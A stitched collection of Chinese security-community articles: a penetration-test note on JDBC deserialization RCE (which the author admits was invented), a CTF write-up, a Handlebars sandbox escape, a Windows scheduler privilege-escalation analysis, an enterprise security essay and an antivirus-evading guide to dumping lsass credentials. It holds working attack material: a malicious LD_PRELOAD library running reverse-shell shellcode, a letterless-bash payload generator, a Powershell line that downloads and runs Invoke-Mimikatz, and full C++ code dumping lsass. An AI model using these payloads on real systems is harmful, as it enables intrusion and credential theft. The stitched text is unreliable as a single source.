试了下权限绕过发现/login/..;/ 能直接进去
但是看不到任何数据，点系统参数配置这个功能发现404
去看了下同cms的站，发现直接访问index.jsp，也可以进去（但是src那个站进不去不知道被咋改过）
发现这个功能跳到/adminLogin.jsp 然后弱口令admin123进去了
当时直接把这个登录的包拿到src的那个站去试了一下发现他只是把jsp删了实际上功能还在
然后就直接进到了系统参数配置这里
大概长这样，有一个测试连接的功能，点了一下抓包，包结构如下
可以控制mysql连接地址，于是想到mysql服务端读客户端文件。
将mysql连接地址改为恶意mysql服务端地址发包，好像不行
然后又想到mysql jdbc反序列化，以前没搞过，在github找到一个项目。
<https://github.com/fnmsd/MySQL_Fake_Server>
然后这边还需要一个ysoserial.jar我这边使用的 <https://github.com/zema1/ysoserial>
可以直接打回显，看了下上面那个项目的README感觉有点麻烦，于是直接把
这部分写死，返回jdbc连接字符串地方写
url=jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&useUnicode=true&characterEncoding=utf-8&username=yso_urldns_http//www.baidu.com/&password=123456
服务器这边开启恶意mysql服务端，发包。
成功RCE
好吧上面都是我瞎写的，实际上那个src站点因为我之前测试的时候快下班了就忘记搞了，后面想起来去搞结果已经关站了。 | 社区文章 |
# 2021湖湘杯决赛-MultistageAgency
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
赛前比赛通知说让准备`Golang`的环境，本以为是一道`Pwn`题，搜集了一波关于`Golang-Pwn`的资料，最后没想到是道`Web`题。因为最近也在学习Golang，所以这里总结一下这道题。
[题目附件](https://github.com/wxm-radish/CTF-challenge-file/blob/main/2021%E6%B9%96%E6%B9%98%E6%9D%AF%E5%86%B3%E8%B5%9BMultistageAgency.zip)
## 解题思路
题目附件目录结构如下所示：
❯ tree
.
├──
├── dist
│ ├── index.html
│ └── static
│ ├── css
│ │ ├── app.21c401bdac17302cdde185ab911a6d2b.css
│ │ └── app.21c401bdac17302cdde185ab911a6d2b.css.map
│ ├── img
│ │ └── ionicons.49e84bc.svg
│ └── js
│ ├── app.67303823400ea75ce4a3.js
│ ├── app.67303823400ea75ce4a3.js.map
│ ├── manifest.3ad1d5771e9b13dbdad2.js
│ ├── manifest.3ad1d5771e9b13dbdad2.js.map
│ ├── vendor.a7c8fbb85a99c9e2bbe8.js
│ └── vendor.a7c8fbb85a99c9e2bbe8.js.map
├── docker-compose.yml
├── flag
├── go.mod
├── go.sum
├── proxy
│ └── main.go
├── secret
│ └── key
├── server
│ └── main.go
├── start.sh
├── vendor
│ ├── github.com
│ │ └── elazarl
│ │ └── goproxy
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── actions.go
│ │ ├── all.bash
│ │ ├── ca.pem
│ │ ├── certs.go
│ │ ├── chunked.go
│ │ ├── counterecryptor.go
│ │ ├── ctx.go
│ │ ├── dispatcher.go
│ │ ├── doc.go
│ │ ├── go.mod
│ │ ├── go.sum
│ │ ├── https.go
│ │ ├── key.pem
│ │ ├── logger.go
│ │ ├── proxy.go
│ │ ├── responses.go
│ │ ├── signer.go
│ │ └── websocket.go
│ └── modules.txt
└── web
└── main.go
13 directories, 41 files
附件提供了启动题目环境`Docker`的相关文件，先看下`Dockerfile`，从中可以得到几个关键点：
1、golang代码编译命令以及生成二进制文件路径
2、flag只有root能读
FROM golang:latest
RUN mkdir -p /code/logs
COPY . /code
WORKDIR /code
RUN go build -o bin/web web/main.go && \
go build -o bin/proxy proxy/main.go && \
go build -o bin/server server/main.go
RUN chmod -R 777 /code
RUN useradd web
ADD flag /flag
RUN chmod 400 /flag
ENTRYPOINT "/code/start.sh"
再看`start.sh`，在tmp目录下生成了一个无用的key，然后以web用户分别运行web和proxy两个二进制文件，再以root用户启动server二进制文件。
echo `cat /proc/sys/kernel/random/uuid | md5sum |cut -c 1-9` > /tmp/secret/key
su - web -c "/code/bin/web 2>&1 >/code/logs/web.log &"
su - web -c "/code/bin/proxy 2>&1 >/code/logs/proxy.log &"
/code/bin/server 2>&1 >/code/logs/server.log &
tail -f /code/logs/*
接下来审计源码，在`web/main.go`中，读取web目录下key，设置路由，然后将web服务开放到9090端口。
默认路由在`IndexHandler`，只是简单的输入了`dist/index.html`，`token`路由对应`getToken`函数，该函数中通过请求中的参数来构造数据去请求本地`127.0.0.1:9091`来获取token。获取请求中`RemoteAddr`拼接到了curl命令中，在Header头部中插入了一个键值对`Fromhost:
r.RemoteAddr`，然后会获取请求中的参数（无论是get还是post）来设置成执行命令`exec.Command`的环境变量，经过抓包发现默认是`http_proxy=127.0.0.1:8080`，将curl请求结果返回到页面中
`/upload`路由对应的是`uploadFile`函数，函数中先获取get传参过来的token，然后验证token的正确性，若Token不正确则直接返回。验证过Token之后会计算当前token下上传文件的数量，如果数量大于5个时就会去请求`127.0.0.1:9091/manage`，若不大于5个，则直接上传到`upload/[token]/[filename]`，filename是通过`RandStringBytes`函数随机生成的5个字符
`checkToken`函数中是检查token正确性的具体实现，就是`md5(SecretKey+ip)`
`/list`路由对应的是`listFile`函数，函数中同样先调用`checkToken`验证token，然后在页面上输出该Token已经上传上去的文件名
`proxy/main.go`中引用`github.com/elazarl/goproxy`包实现http代理，当使用该代理时，会为每个请求的header头部加上`Secretkey`字段，值就是`secret/key`的内容。
`server/main.go`中也是先读取了`secret/key`，然后设置了两个路由，分别是默认路由和`/manage`，默认路由就是用来获取Token，对应`getToken`函数，获取请求header头中的`Secretkey`与刚刚打开的key内容做对比，用这样的方法来确定请求来源是本地，也就是通过8080端口的代理访问过来的。获取请求header头中的`Fromhost`作为请求IP，计算`md5(Secretkey+Fromhost)`作为返回的`Token`
`/manage`路由对应`manage`函数，函数中显示获取了请求参数`m`，然后再通过`waf`函数对参数`m`进行限制，waf函数如下所示，禁止用`.
* ?`，以及不能使用两个和两个以上不相同的字母
若参数`m`通过waf，则会拼接到`rm -rf uploads/`后面，然后去执行这条命令，将命令的结果返回到页面中
以上就是该题目全部源码分析，思考漏洞出现在哪里？
先考虑用户可控的点在哪里？
1、`web/main.go`中的`RemoteAddr`，可控，但是不能随意伪造，只是不同的IP和端口而已
2、`web/main.go`中的`command.Env`，可控，可以随意构造
3、`web/main.go`中的上传文件功能，可以上传任意文件到服务器，并且可以通过IP加默认`SecretKey`得到Token的值。
4、`server/main.go`中参数`m`，可控，但是不是直接可控，因为9091端口不能直接访问到，端口没有映射出来
综上所述，就是用户可控数据的分析，1和4可以直接pass，因为先决条件不足。是否能够配合2和3搞一些东西呢？
看到能够随意设置环境变量不难想到`LD_PRELOAD`，我们上传你的文件没有限制，并且可以知道上传路径，那么我们就可以通过上传一个恶意的`so`文件，然后设置`LD_PRELOAD`环境变量，在执行`curl`时，就会执行恶意`so`文件中的代码。
把curl程序dump下来，看会调用哪些库函数，可以发现调用了`malloc、free`等等一些函数
为了方便，我们劫持free函数，代码如下所示：
其中shellcode使用msf生成的，用于接收反弹的shell
//payload.c
//gcc payload.c -o payload.so -fPIC -shared -ldl -D_GUN_SOURCE -z execstack
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
#define RTLD_NEXT ((void *) -1l)
static int sign = 0;
void myexp(){
unsigned char buf[] = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x02\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6";
void (*fp)(void) = (void (*)(void))buf;
fp();
}
void free (void *__ptr){
size_t (*new_free)(void *__ptr);
new_free = dlsym(RTLD_NEXT, "free");
new_free(__ptr);
myexp();
// return result;
}
先获取自己的Token：
❯ curl http://127.0.0.1:19090/token\?http_proxy\=127.0.0.1:8080
{"success":"ce86affc2f34432bcd23b816e352ef67","failed":""}
然后上传构造的恶意`So`文件，路径就在`/code/uploads/ce86affc2f34432bcd23b816e352ef67/gbaiC`
在msf中设置好监听，然后构造`LD_PRELOAD`再次请求`/token`，然后就可以在msf中接收到web用户的shell
因为`/flag`只有root才能读，启动的服务中只有`bin/server`是通过root来启动的，所以只能利用它来进行读取flag，现在我们可以在web的shell中用curl去请求`127.0.0.1:9091`来访问server
现在的关键点就在于如何绕过`waf函数`，也就是说如何构造出无字母的shell命令
经过查阅资料，可以利用位运算和进制转换的方法利用符号构造数字，参考链接：<a
href=”https://medium.com/[@orik_](https://github.com/orik_ "@orik_")/34c3-ctf-minbashmaxfun-writeup-4470b596df60″”>https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60
生成payload：
#!/usr/bin/env python
# write up:
# https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60
import sys
a = "cat /flag"
if len(sys.argv) == 2:
a = sys.argv[1]
out = r"${!#}<<<{"
for c in "bash -c ":
if c == ' ':
out += ','
continue
out += r"\$\'\\"
out += r"$(($((${##}<<${##}))#"
for binchar in bin(int(oct(ord(c))[1:]))[2:]:
if binchar == '1':
out += r"${##}"
else:
out += r"$#"
out += r"))"
out += r"\'"
out += r"\$\'"
for c in a:
out += r"\\"
out += r"$(($((${##}<<${##}))#"
for binchar in bin(int(oct(ord(c))[1:]))[2:]:
if binchar == '1':
out += r"${##}"
else:
out += r"$#"
out += r"))"
out += r"\'"
out += "}"
print out
带上payload去请求`127.0.0.1:9091/manage`，成功拿到flag
## 防护思路
1、直接修改默认的key即可获取不到自己的Token，也就获取不到上传文件的路径
2、增加`waf`函数中的`blacklist`，`blacklist := []string{".", "*",
"?","#","{","}","$"}`
## 参考
1、https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60
2、<https://xz.aliyun.com/t/8581#toc-3>
3、<https://cloud.tencent.com/developer/article/1683272> | 社区文章 |
原文地址：<https://blog.tarq.io/handlebars-4-1-2-command-execution/?tdsourcetag=s_pcqq_aiomsg>
在阅读了[Mahmoud Gamal的文章](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) 中涉及的[NPM Advisory
755]（<https://www.npmjs.com/advisories/755）安全问题的材料后，我决定开始一次冒险之旅，看看能否通过其他其他方法实现沙箱逃逸。>
## Exploit代码
* * *
译者注：具体代码，请参见原文。
## 背景知识
* * *
Handlebars是一个弱逻辑的模板引擎，为了限制用户可以执行的操作，该引擎会为模板提供限制性的沙箱。最后，该引擎会将模板编译为javascript代码，因此，实现逃逸是一件非常棘手的任务。
对于NPM Advisory
755中的原型污染漏洞的补丁来说，本质上就是禁止对不可枚举的属性执行读写操作。但是，为了运行我们的payload，就必须访问`Function.prototype.constructor`，所以，我们需要设法绕过这项检查。
## 我们的目标
* * *
为了正常运行这个exploit，我们需要完成下列任务：
-使用始终返回true的函数覆盖`PropertyIsEnumerable`，以便绕过针对NPM 755漏洞的缓解措施
-获取对`Function`构造函数的引用
-使用攻击者控制的对象来调用函数的构造函数
-调用构造的函数以执行payload
## 创建payload
* * *
首先，我们要创建一个包含单个字符串元素的数组，该元素定义了我们要执行的javascript代码。为此，只需将`this`设置为包含我们的payload的字符串，然后，调用`split`即可：
## 滥用helper
* * *
在handlebars中，可以用`this`来调用绑定到当前上下文的各种函数。正如您在上面所看到的，这里使用`with`
helper将上下文设置为字符串，然后调用了相应的split函数。
需要注意的是，这里的`with`
helper很像Javascript中的`with`操作符。实际上，这个helper改变了`this`的含义。在这里，我们的本意是将上下文设置为“函数”，但是handlebars却做了一件出乎意料的事情！
具体来说，如果将函数传递给`with` helper，它将直接调用该函数（不带任何参数），并使用函数的返回值作为上下文，而不是函数本身。
下面的代码：
{{#with something}}
{{something}}
{{/with}}
等价于：
output(something())
但是，我们需要的却是：
output(something)
那么，我们如何解决这个问题呢？实际上，我们需要借助一个返回函数的函数。
### 利用`__defineGetter__`和`__setGetter__`
尽管很少有人会记得这两个函数，但它们却非常有用。本质上将，函数`__defineGetter__`可以用来定义每次访问属性时调用的函数并为其返回一个值。而函数`__lookupGetter__`只返回用于生成值的函数。
如果我们考察exploit的第一步动作：
{{__defineGetter__ "undefined" valueOf }}
{{! sets context to valueOf, this is what we'll be calling bind on later }}
{{! handlebars ends up calling context.__lookupGetter__() which returns the same thing as __lookupGetter("undefined") }}
{{#with __lookupGetter__ }}
它将被编译为：
this.__defineGetter__("undefined", this.valueOf)
with(this.__lookupGetter__()) {
....
}
我们无法控制传递给`__lookupGetter__`函数的参数，但幸运的是，在JavaScript中如果不传递参数的话，那么相应的变量将被设置为`undefined`。之后，该变量将被转换为字符串，最终与调用`__lookupGetter__("undefined")`的效果是一样的。因此，要将上下文设置为函数，我们只需定义一个属性名为`"undefined"`的getter，然后借助于`{#with
__lookupGetter__}`即可。
### 绕过补丁
为了绕过补丁，我们需要使`propertyIsEnumerable`始终返回`1`。
借助于我们的新原语，可以通过以下方式完成上述任务：
{{#with __lookupGetter__ }}
{{! override propertyIsEnumerable with a function that always returns 1 using valueOf.bind(1).bind() }}
{{__defineGetter__ "propertyIsEnumerable" (this.bind (this.bind 1)) }}
上述代码的作用是，将`propertyisEnumerable`的getter设置为`valueof`，并绑定数字`1`为其上下文。
上面的代码等价于：
valueOf.__defineGetter__("propertyIsEnumerable", valueOf.bind(valueOf.valueOf.bind(1)))
// valueOf.propertyIsEnumerable = function() {
// return (1).valueOf()
//}
现在，`context.propertyIsEnumerable`将始终返回1！
这样一来，我们只需要获得`this.constructor`（对应的是`Function`）的引用，然后，我们的payload调用它即可。
### 时间线
5个月前，我就向NPM Security报告了这个安全漏洞，但一直没有收到回复。由于这个漏洞需要借助于模板注入漏洞，所以，我决定将它公之于众。 | 社区文章 |
**作者：[启明星辰ADLab](https://mp.weixin.qq.com/s/KAbrmrFe41tDYHkHfsK-mQ
"启明星辰ADLab")**
#### 漏洞描述
2018年8月27日，安全研究人员在Twitter上披露了Windows
10系统中的一个0day漏洞。该漏洞是一个本地提权漏洞，存在于Windows的任务调度服务中，允许攻击者从USER权限提权到SYSTEM权限。微软官方目前还没有提供相应的补丁。
#### 漏洞影响范围
Windows 10
Windows Server 2016
#### 漏洞分析
Microsoft
Windows系统的任务调度服务中高级本地过程调用（ALPC）接口存在本地提权漏洞，该漏洞存在于`schedsvc.dll`模块中的`SchRpcSetSecurity`函数，`SchRpcSetSecurity`函数定义如下，函数功能是设置安全描述符。
HRESULT SchRpcSetSecurity(
[in, string] const wchar_t* path,
[in, string] const wchar_t* sddl,
[in] DWORD flags
);
`SchRpcSetSecurity`第一个参数为路径path，第二个参数为安全描述符定义语言 (SDDL)
字符串sddl，该函数内部调用了`SetSecurity::RpcServer`函数。
`SetSecurity::RpcServer`函数首先调用`ConvertStringSecurityDescriptorToSecurityDescriptor`
将`SchRpcSetSecurity`函数传入的sddl字符串转换为安全描述符`SecurityDescriptor`。并调用`TaskPathCanonicalize`函数对传入path参数路径规范化为Dst。
然后获取Dst路径的JobSecurity安全描述符`pSecurityDescriptor`，继而调用`JobSecurity::Update`函数，传入`SecurityDescriptor`参数，更新`pSecurityDescriptor`。
最后，调用`JobSecurity::AddRemovePrincipalAce`函数设置DACL。
那么如何修改指定目标文件的DACL属性呢？首先，使用`ZwSetInformationFile`函数为目标文件创建硬链接。然后，调用`_SchRpcSetSecurity`函数设置硬链接文件的DACL，等同于修改目标文件的DACL。通过设置SchRpcSetSecurity的第3个参数，可以为用户Administrators(BA)、Authenticated
Users（AU）添加对硬链接文件的写入权限。
以`PrintConfig.dll`文件为例，调用`SchRpcSetSecurity`函数前，文件访问权限如下，此时Administrators不具有对文件的写入权限。
调用`SchRpcSetSecurity`函数后，文件的权限如下，此时Administrators和Authenticated
Users都拥有对文件写入权限。
由于`SchRpcSetSecurity`函数存在安全验证缺陷，使得当前用户可修改只读文件的DACL，添加写入权限。成功利用该漏洞的结果如下图。
#### 安全建议
* 不要运行未知来源的程序
* 在微软更新补丁后，及时安装补丁
#### 参考链接
* <https://thehackernews.com/2018/08/windows-zero-day-exploit.html>
* <https://www.kb.cert.org/vuls/id/906424>
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
## 前言
近来“企业安全”这个话题比较火热，一个人的安全部、甲方安全建设相关文章倍受大家欢迎。网上已经有不少甲方安全建设相关文章，其中不乏身经百战之后的填坑解读，也有不少成功的安全项目分享，但大多都是非常体系化的结构。然而本文与之大相径庭，仅从甲方“搬砖工人”的角色出发看待整个企业的安全，结合切身负责或参与的项目，对自己平时工作中的所见+所闻+所思+所感进行记录总结。
之前在国内某老牌安全乙方公司，并没有体系化的做过企业安全建设相关项目；今年刚实现从乙方到甲方的角色转变，甲方安全建设之路也刚开始不久，没有经过系统化、工程化的安全资质培训；仅凭借自身的项目经历（渗透测试、APP安全评估、风险评估、代码审计、应急响应、安全培训等）+平时积累（甲方安全建设相关文章与书籍、向其他甲方安全大佬请教问题等）+最近甲方工作积累，出发视角较为狭小&高度不够，如果出现不足与错误之处，还望指出并劳驾见谅与包涵。
## 企业安全需求
除了没有被外部黑客攻击造成财产损失外，影响企业难以花费成本在安全建设方面的因素还有很多，比如企业业务还没有到达一定规模、没有相关部门的监管、没有第三方的合作监督等。如果要想把公司的安全做好，首先需要获得领导的支持与重视，通常较为常见的有以下几种方式。
1) 安全事件
公司主页被纂改造成不良声誉影响，业务场景存在安全缺陷导致被恶意攻击造成财产损失，内网服务器被远程植入挖矿脚本占用大量系统资源，...各种安全事件层出不穷。作为甲方的安全人员，除了需要掌握必备的安全技能来应对安全事件的发生外，还应该充分认识到每次安全事件的宝贵性，合理、充分的利用安全事件。首先是对产生的原因、影响、危害等进行分析、评估、止血，其次是对原因进行深挖与扩展，联想到企业当前的安全威胁，使之与当前进行的安全项目甚至即将开展的、潜在的安全项目结合，发挥“一次安全事件，一波安全整改，一次企业安全能力提升”的实质效果。
2) 合规检查
不少行业都会有相关机构的安全检查，比如拥有支付牌照的支付公司而言，每年多次的人民银行安全检查，各种合规性要求各种指标都需要达标。此外针对部分系统还要求过等级保护，这无疑又是一层安全的壁垒。
先从乙方公司的角度来看，之前参与过很多安全评估与等级保护的项目，大到运营商与巨头银行，小到基金公司与高等院校，觉得等级保护就那么几个常用招式：技术（漏洞扫描+渗透测试）+咨询（根据企业特点多个checklist走一遍），然后就是项目经理套路式的思维输出在固定模板的报告，交付甲方轻松+愉快。对于中小型公司而言，一般都是这样操作，但也遇到过一些真心想把安全做好的公司，即使不太懂但是头脑思路清晰、逻辑能力很强，每一个得出的结果都需要从头推论，甚至是常对得出的结果产生质疑，乙方人员要是说不出个一二三，别想蒙混过关。不过个人还是比较喜欢这样的客户，因为会使自己的服务水平和专业能力得到不断提升。最难忘的是想吐槽乙方安全公司销售为了单子，让安服工程师听从甲方要求任意篡改漏洞扫描报告，修改高、中危漏洞数量来达到上级部门的检查标准，这种活儿不禁会使人怀疑职业生涯。
站在甲方的角度考虑，各种合规检查无疑是目前来说具备效果的方法之一。因为没有统一详细落地的行业安全标杆，所以很难甄别是否具备足够的安全防御水平。基本需求是“有，总比没有好”，更高的渴望是“充分利用合规检查”落实企业安全建设。企业的安全能力与相关负责人、安全团队息息相关，究竟是务实还是专心搞政治分心做安全，往往取决于人。
3) 企业内鬼
当手握企业大量敏感数据，当工作不再那么负责与忠诚，当个人价值观远远高于企业价值观，再受到外部的金钱诱惑，企业内鬼很容易就会产生。“日防夜防，家贼难防”这句话说的很有道理，唯有进行一些安全建设，比如让员工远离敏感数据（敏感数据分级管理）、对重要文件进行严密保护或监控、员工上网行为管理等，才能减少该类事件的发生，从而避免企业遭受损失。
4) 产品竞争力
安全不是业务发展的阻力，而是产品的竞争力。这句话听起耳熟，说起容易，做起来难。不过无疑也是企业安全项目实施的推动力，从产品的角度出发，让安全成为产品的一个重要特性甚至是闪光点，吸引用户并使用户放心。这部分向客户介绍产品的安全设计理念、先进技术、安全架构甚至提供第三方权威机构的安全评估报告证明。
5) 三方合作要求
如果企业与其他大型互联网合作，一般都会对安全性有所要求。这种情况下，业务会主动找到安全人员为其做安全测试、安全评估，这算是企业安全需求中，业务方最主动的一种情形。这不难说明两个真相：
## 对外部第三方推动业务安全，对内业务呈现主动趋势
## 业务为主，凡是业务上需要的都会想办法实现与完成
所以在推动安全项目与公司各部门对接、沟通时，应主动足够去了解其业务特点，抓住他们的痛点和难点及时插入安全因素，甚至为其业务量身打造安全铠甲。
6) 网络安全法实施
从”企业出安全事故，请领导喝茶“的结果去推动安全项目也是十分有效的途径，从法律的角度出发，业务产品、开发会信服，领导也会听取。《网络安全法》条目较多，引用下面一条表明立场。
## 未完待续
本文首发于个人公众号（我的安全视界观），更多文章敬请期待。 | 社区文章 |
# 几种免杀转储lsass进程的技巧
在内网渗透进行横向移动和权限提升时，最常用的方法是通过dump进程lsass.exe，从中获得明文口令或者hash。lsass.exe（Local
Security Authority Subsystem
Service）是一个系统进程，用于微软Windows系统的安全机制，它用于本地安全和登陆策略。在进程空间中，存有着机器的域、本地用户名和密码等重要信息。但是需要首先获得一个高的权限才能对其进行访问。
在存在杀软防护的情况下，要想转储lsass进程，我首先想到的是procdump+Mimikatz
的方式来绕过杀软，因为Procdump工具是微软自家的，不会引起报毒。但是我在实际测试中发现，这种思路还是会被360安全卫士拦截。
下面几个分享几个我学习到的绕过杀软转储lsass方式，目前亲测可过360安全卫士，别的杀软我还没有具体测试。下边分享的代码和工具虽然多种多样，但是本质上都是用到了debugprivilege和MiniDump。杀软对API的监控不严格导致出现了安全问题。
## 使用系统内置功能绕过杀软
comsvcs.dll，系统自带。通过comsvcs.dll的导出函数MiniDump实现dump内存。
在dump指定进程内存文件时，需要开启SeDebugPrivilege权限。管理员权限的cmd下，默认支持SeDebugPrivilege权限，但是状态为Disabled禁用状态
如果直接在cmd下执行rundll32的命令尝试dump指定进程内存文件的话，由于无法开启SeDebugPrivilege权限，会dump失败。
解决方式：
管理员权限的powershell下，默认支持SeDebugPrivilege权限，并且状态为已启用。
首先查看lsass.exe进程PID:
`tasklist | findstr lsass.exe`
命令格式：
`rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full`
此处为：
`rundll32.exe comsvcs.dll MiniDump 508 c:\windows\temp full`
直接运行会被拦截:
简单的绕过思路：
copy一下comsvcs.dll并命名为随意名字，例如test.dll
copy C:\windows\System32\comsvcs.dll test.dll
rundll32.exe test.dll, MiniDump 508 lsass.dmp full
成功转储了lsass
下载到本地解密。这里有个坑点
我下载到本地后，解密失败。一开始以为保存的时候没有保存全，又试了几次还是没有解密。
经过查询资料得知，是新版的mimikatz和win10
1809版本之间的问题导致解密失败。详见<https://githubmemory.com/repo/gentilkiwi/mimikatz/issues/354>
换用mimikatz 1809版就好了。
成功解密。
## powershell脚本
### Out-MiniDump.ps1
使用PowerSploit 的Out-MiniDump模块，PowerSploit是一个基于 Powershell
的渗透工具包，可以选择创建进程的完整内存转储。工具连接：<https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1>
`Import-Module Out-MiniDump` 导入
`Get-Process lsass | Out-Minidump` 执行
解密
### 使用ps版mimikatz
工具地址：<https://github.com/fir3d0g/mimidogz>
在执行powershell脚本的时候，常常采用
powershell "IEX (New-Object Net.WebClient).DownloadString
('<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz>"
远程加载的方式，达到文件不落地来更好的规避检测的目的，但是如果目标机器网络环境不允许的话，那就直接把ps1上传到目标机器来运行。
## 应用程序
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment ( lib, "dbghelp.lib" )
using namespace std;
#define INFO_BUFFER_SIZE 32767
std::wstring s2ws(const std::string& s)
{
int len;
int slength = (int)s.length() + 1;
len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);
wchar_t* buf = new wchar_t[len];
MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);
std::wstring r(buf);
delete[] buf;
return r;
}
// 提升权限为 debug
bool EnableDebugPrivilege()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) //修改进程权限
{
CloseHandle(hToken);
return false;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) //通知系统修改进程权限
{
CloseHandle(hToken);
return false;
}
return true;
}
int main() {
char filename[INFO_BUFFER_SIZE];
char infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
GetComputerNameA(infoBuf, &bufCharCount);
strcpy_s(filename, infoBuf);
strcat_s(filename, "-");
strcat_s(filename, "lsass.dmp");
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFileA(filename, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {}; // 拍摄快照时驻留在系统地址空间里的进程列表结构体
processEntry.dwSize = sizeof(PROCESSENTRY32); //结构大小
LPCWSTR processName = L""; //进程名
if (Process32First(snapshot, &processEntry)) { //检索快照中第一个进程的信息
while (_wcsicmp(processName, L"lsass.exe") != 0) { //循环检索快照中的进程
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile; // 获取当前进程的进程名
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
if (EnableDebugPrivilege() == false)
{
printf("enable %d", GetLastError());
}
EnableDebugPrivilege();
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); // 根据 Pid 打开 lsass.exe 进程，获取句柄
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL); //转储lsass，写入outfile
if (isDumped) {
cout << "[+] Save To " << filename << endl;
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
上边的代码来源是吐司[https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=1](https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=1)
是我学习此知识点过程中遇到的考虑最完善的代码，他的代码相比较其他师傅的代码考虑了更多情况，比如说为了避免权限不足打不开lsass进程而导致dmp文件为空的情况，新增了提权函数加以验证。
程序运行分为以下几步：
1.提升权限。因为lsass进程的权限为system权限，所以想要对其操作首先要提升自身进程权限为debug权限。
2.对所有进程拍摄快照，然后循环检索lsass进程id
3.将lsass内存的快照进行转储，并写入文件
将代码编译成exe，运行看一下效果
成功转储。
放到装有360安全卫士的目标机器上运行，目标机器为win 2008 R2 64位系统
运行提示缺少dll，下载对应dll移动到c:/windows/system32目录下
重新运行exe程序
成功转储。
使用mimikatz解密成功。
我在学习过程中，习惯用多个方法来解决一个问题。一是没有那种万能方法，能为我通杀所有的环境，同问题不多考虑几种方法的话，我本身会觉得比较虚；二是也趁着对同知识点学习的惯性，多手法之间能够融会贯通一下，免得在学同类型知识点就忘了以前是咋回事了。前人栽树，后人乘凉。本文是在学习师傅们思路手法的基础上，形成的一篇总结性的文章，在自己记录的同时，希望能帮到其他人。
参考链接：
<https://githubmemory.com/repo/gentilkiwi/mimikatz/issues/354>
<https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1>
[https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=1](https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=1)
<https://mp.weixin.qq.com/s/IA42D6hjvk4Bld65Wahuag>
<https://_thorns.gitbooks.io/sec/content/powershell.html>
<https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass>
[https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=2](https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=2)
<https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf>
<https://www.t00ls.net/thread-62435-1-1.html> | 社区文章 |
# 【技术分享】OS X内核大揭秘之利用篇
|
##### 译文声明
本文是翻译文章，文章来源：theori.io
原文地址：<http://theori.io/research/korean/osx-kernel-exploit-2>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[天鸽](http://bobao.360.cn/member/contribute?uid=145812086)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
传送门
